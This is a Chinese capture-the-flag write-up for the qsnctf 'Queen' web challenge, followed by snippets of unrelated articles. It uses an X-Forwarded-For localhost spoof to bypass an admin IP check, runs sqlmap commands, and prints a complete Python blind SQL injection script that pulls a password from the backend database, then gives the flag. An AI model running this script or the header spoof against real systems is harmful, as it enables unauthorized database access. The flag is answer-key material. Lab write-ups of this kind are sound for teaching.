青少年CTF-qsnctf-Web-Queen

news/2024/5/19 22:54:40 标签: 网络安全, web安全, ctf, SQL注入, Linux, sqlmap, python

题目环境:
image.png

题目难度:★★
题目描述:Q的系统会不会有漏洞?

image.png

看到了登录窗口,使用burp suite工具进行抓包

burp suite抓包

admin
1

image.png
Repeater重放
image.png
Send放包
image.png

Your IP is not the administrator’s IP address!
您的IP不是管理员的IP地址!

添加管理员IP

X-Forwarded-For:127.0.0.1

image.png

发现加密字符串

dXNlcjphZG1pbnxwYXNzOjE%3D
根据做题经验不难看出是base64编码

解密加密内容
echo "dXNlcjphZG1pbnxwYXNzOjE%3D" | base64 -d
image.png

输入的账号和密码被加密
猜测此题目涉及SQL注入

使用sqlmap工具梭一把

使用sqlmap工具
image.png

将抓包数据内容复制下来放到一个文本文件当中
注意是加X-Forwarded-For请求头的那个数据包

image.png

这里我创建了一个名为flag.txt的文本文件
并将数据包内容粘贴到了其中

sqlmap -l 一把梭
sqlmap -l flag.txt --batch --dbs

-l 从Burp或WebScarab代理日志中解析目标
--batch 可以理解为全自动化 自动选择yes
--dbs 列出所有的数据库

在root终端中运行此命令!
image.pngsqlmap -r /home/kali/桌面/flag.txt -D sql --dump

-r 加载文件中的HTTP请求(本地保存的请求包txt文件)
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
–dbs 列出所有的数据库
–batch 自动选择yes
–tables 列出当前的表
–columns 列出当前的列
–dump 获取字段中的数据

这里怀疑题改了
之前可以用sqlmap跑出来
现在跑不出来了

使用python盲注脚本进行爆破

python">#某大佬的脚本
'''
 # @Author: St1ck4r
 # @Date: 2022-11-16 09:12:20
 # @LastEditors: St1ck4r
 # @LastEditTime: 2022-11-17 10:36:03
 # @link: https://www.st1ck4r.top
'''

import requests
import base64

url = "{此处填写url地址}/check.php?data="
flag=""
data=""
header={"X-Forwarded-For":"127.0.0.1"}

# payload = "(select group_concat(table_name) from information_schema.`TABLES` where table_schema = database())"
# payload = "(select group_concat(column_name) from information_schema.`COLUMNS` where table_name='user')"
payload = "(select  group_concat(password) from user where username=\"flag\")"

for i in range(100):
    low = 32
    high = 128
    mid = (low+high)//2
    while low < high:
        data = "user:admin' and ascii(substr({},{},1))<{} -- |pass:admin".format(payload,str(i+1),str(mid))
        data=base64.b64encode(data.encode()).decode()
        new_url = url + data
        # print(new_url)                               
        res = requests.get(new_url,headers=header)

        if("登陆成功!但是你登陆成功我也不会给你Flag" in res.text):
            high = mid
        else:
            low = mid + 1
        mid=(low+high)//2

    if mid <= 32 or mid >= 127:
        break
    flag += chr(mid-1)
# print(flag)
print(flag)

python">#某大佬的脚本
'''
 # @Author: St1ck4r
 # @Date: 2022-11-16 09:12:20
 # @LastEditors: St1ck4r
 # @LastEditTime: 2022-11-17 10:36:03
 # @link: https://www.st1ck4r.top
'''

import requests
import base64

url = "http://e460e3b7-ea11-46b9-a14a-6f68788be430.challenge.qsnctf.com:8081/check.php?data="
flag=""
data=""
header={"X-Forwarded-For":"127.0.0.1"}

# payload = "(select group_concat(table_name) from information_schema.`TABLES` where table_schema = database())"
# payload = "(select group_concat(column_name) from information_schema.`COLUMNS` where table_name='user')"
payload = "(select  group_concat(password) from user where username=\"flag\")"

for i in range(100):
    low = 32
    high = 128
    mid = (low+high)//2
    while low < high:
        data = "user:admin' and ascii(substr({},{},1))<{} -- |pass:admin".format(payload,str(i+1),str(mid))
        data=base64.b64encode(data.encode()).decode()
        new_url = url + data
        # print(new_url)
        res = requests.get(new_url,headers=header)

        if("登陆成功!但是你登陆成功我也不会给你Flag" in res.text):
            high = mid
        else:
            low = mid + 1
        mid=(low+high)//2

    if mid <= 32 or mid >= 127:
        break
    flag += chr(mid-1)
# print(flag)
print(flag)

image.png
得到flag:
**qsnctf{b487c107-4130-466b-acd7-7c6484729eb4}**


http://www.niftyadmin.cn/n/5276960.html

相关文章

关于倾斜摄影三维模型数据的几何坐标变换的必要性分析

关于倾斜摄影三维模型数据的几何坐标变换的必要性分析 倾斜摄影三维模型数据的几何坐标变换是将相机坐标系下获取的倾斜摄影图像转换为地理坐标系下的三维模型数据&#xff0c;从而实现地理空间信息的表达与分析。几何坐标变换的重要性在于它对于模型数据的精度、准确性和可用…

高防服务器防御靠谱吗?

​  随着互联网的普及和信息技术的不断发展&#xff0c;网络安全问题日益突出。高防服务器作为一种专业的网络安全设备&#xff0c;在防御网络攻击方面扮演着越来越重要的角色。然而&#xff0c;高防服务器是否靠谱&#xff0c;是否能够有效地防御各种网络攻击&#xff0c;一…

你了解Redis中的跳跃表吗?

跳跃表的基本内容&#xff1a; 对于一个有序序列&#xff0c;链表相对于数组来说&#xff0c;删除和插入的效率要快很多&#xff0c;只需要改变指针的指向&#xff0c;但是在查找的时候&#xff0c;数组就要更占优势一些&#xff0c;可以随机访问&#xff0c;然而链表需要从头…

python学习笔记--异常捕获

异常场景 numinput("input you number:") n9000 try:resultn/int(num)print({} 除以num 结果为{}.format(n,result)) except ZeroDivisionError as err:print("0不可以作为除数&#xff0c;出现报错{}".format(err)) except ValueError as err:print(&quo…

HiveServer2

HiveServer2 基本概念介绍 1、HiveServer2基本介绍 HiveServer2 (HS2) is a server interface that enables remote clients to execute queries against Hive and retrieve the results (a more detailed intro here). The current implementation, based on Thrift RPC, i…

LeeCode前端算法基础100题(13)-多数元素

一、问题详情: 给定一个大小为 n 的数组 nums ,返回其中的多数元素。多数元素是指在数组中出现次数 大于 ⌊ n/2 ⌋ 的元素。 你可以假设数组是非空的,并且给定的数组总是存在多数元素。 示例 1: 输入:nums = [3,2,3] 输出:3 示例 2: 输入:nums = [2,2,1,1,1,2,2] 输…

大数据学习(29)-spark on yarn底层原理

&&大数据学习&& &#x1f525;系列专栏&#xff1a; &#x1f451;哲学语录: 承认自己的无知&#xff0c;乃是开启智慧的大门 &#x1f496;如果觉得博主的文章还不错的话&#xff0c;请点赞&#x1f44d;收藏⭐️留言&#x1f4dd;支持一下博主哦&#x1f91…

JavaWeb笔记之前端开发CSS

一 、引言 1.1 CSS概念 层叠样式表(英文全称&#xff1a;Cascading Style Sheets)是一种用来表现HTML&#xff08;标准通用标记语言的一个应用&#xff09;或XML&#xff08;标准通用标记语言的一个子集&#xff09;等文件样式的计算机语言。CSS不仅可以静态地修饰网页&…